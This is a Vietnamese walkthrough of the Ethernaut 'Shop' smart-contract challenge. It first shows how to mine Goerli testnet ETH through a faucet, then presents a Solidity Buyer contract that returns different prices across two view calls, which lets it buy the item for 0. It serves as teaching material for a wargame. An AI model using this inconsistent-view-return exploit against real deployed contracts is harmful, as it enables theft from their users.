

Shop

1. Thực hiện việc kiếm ETH:

Sử dụng: <https://goerli-faucet.pk910.de/> - để lấy được một số ETH cho ví bằng cách:

- + Điền ETH address của mình vào:

Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.



0x92141B14ddB92C256eFB3f1F464b042164570Af9

- + Sau đó start Mining:

Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.



Target Address:

0x92141B14ddb92C256eFB3f1F464b042164570Af9

Your Mining Reward:

0 GöETH

Current Hashrate:

0 H/s

Number of Workers:

0 / 4



Minimum Claim Reward:

0.02 GöETH

Maximum Claim Reward:

1 GöETH

Remaining Session Time:

11h 59min

Total Shares:

0

Avg. Reward per Hour:

0 GöETH/h

Reward Boost:

+ 0%

Boost

Stop Mining

- + Trong trường hợp máy lag hoặc muốn tăng công suất có thể thêm và giảm bớt công việc tại Number of Workers.

- + Đến khi kiểm đủ số lượng có thể rút thì có thể dừng lại và nhận ETH

Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.

Claim Rewards

Wallet: 0x92141B14ddb92C256eFB3f1F464b042164570Af9
Amount: 0.037 GÖETH
Timeout: 2023-08-11 20:21 (23h 47min)
Captcha:



Tôi không phải là người
máy



reCAPTCHA
Bảo mật - Điều khoản

Claim Rewards

Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.

Claim Rewards

Wallet: 0x92141B14ddb92C256eFB3f1F464b042164570Af9
Amount: 0.037 GÖETH
Timeout: -

Claim Transaction has been confirmed in block #9494425!

TX: [0xee3c472ae50e02f9a46b354ce2e18e02b83fa546079f95b3f392042e5e457d6b](#)

Did you like the faucet? Give that project a



1,713

Or support this faucet by sharing your result with a



Tweet



Post

[Return to startpage](#)

=> Và ta đã có đủ số ETH để tiếp tục tham ra vào Ethernaut

2. Xác định yêu cầu đề bài:

Can you get the item from the shop for less than the price asked?

Things that might help:

- Shop expects to be used from a Buyer
- Understanding restrictions of view functions

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
    function price() external view returns (uint);
}

contract Shop {
    uint public price = 100;
    bool public isSold;

    function buy() public {
        Buyer _buyer = Buyer(msg.sender);

        if (_buyer.price() >= price && !isSold) {
            isSold = true;
            price = _buyer.price();
        }
    }
}
```

3. Giải quyết bài toán

Người chơi phải đặt giá thấp hơn giá trị hiện tại của nó.

- Giá trị mới của biến price được lấy bằng cách gọi phương thức price() của một hợp đồng Buyer. Lưu ý rằng có hai cuộc gọi riêng biệt của phương thức price() - trong câu lệnh kiểm tra của câu điều kiện và trong quá trình thiết lập giá trị mới của price. Một Buyer có thể gian lận bằng cách trả về giá trị hợp lệ trong phương thức price() của Buyer trong lần gọi đầu tiên (trong lúc kiểm tra câu điều kiện) và trả về giá trị nhỏ hơn bất kỳ, ví dụ như 0, trong lần gọi thứ hai (trong quá trình thiết lập giá trị price).
- Tuy nhiên, chúng ta không thể theo dõi số lần gọi của phương thức price() trong hợp đồng Buyer vì price() phải là một hàm view (như đã định nghĩa trong giao diện) - không thể ghi vào bộ nhớ lưu trữ! Tuy nhiên, hãy xem xét kỹ giá trị mới trong buy() được thiết lập sau khi isSold được đặt thành true. Chúng ta có thể đọc biến công khai isSold và trả về từ phương thức price() của hợp đồng Buyer tương ứng.

```

1  // SPDX-License-Identifier: MIT
2  pragma solidity ^0.6.0;
3
4  interface IShop {
5      function buy() external;
6      function isSold() external view returns (bool);
7      function price() external view returns (uint);
8  }
9
10 contract Buyer {
11
12     function price() external view returns (uint) {
13         bool isSold = IShop(msg.sender).isSold();
14         uint askedPrice = IShop(msg.sender).price();
15
16         if (!isSold) {
17             return askedPrice;
18         }
19
20         return 0;
21     }
22
23     function buyFromShop(address _shopAddr) public {
24         IShop(_shopAddr).buy();
25     }
26 }

```

Lấy address của shop:

```

> contract.address
< '0x65336e1d5496cb46b41FA2b4D30C48889F705525'
> |

```

Chỉ cần gọi hàm buyFromShop của hợp đồng

```

> await contract.price().then(v => v.toString())
< '0'

```

Ta thực hiện Submit:

[illegible]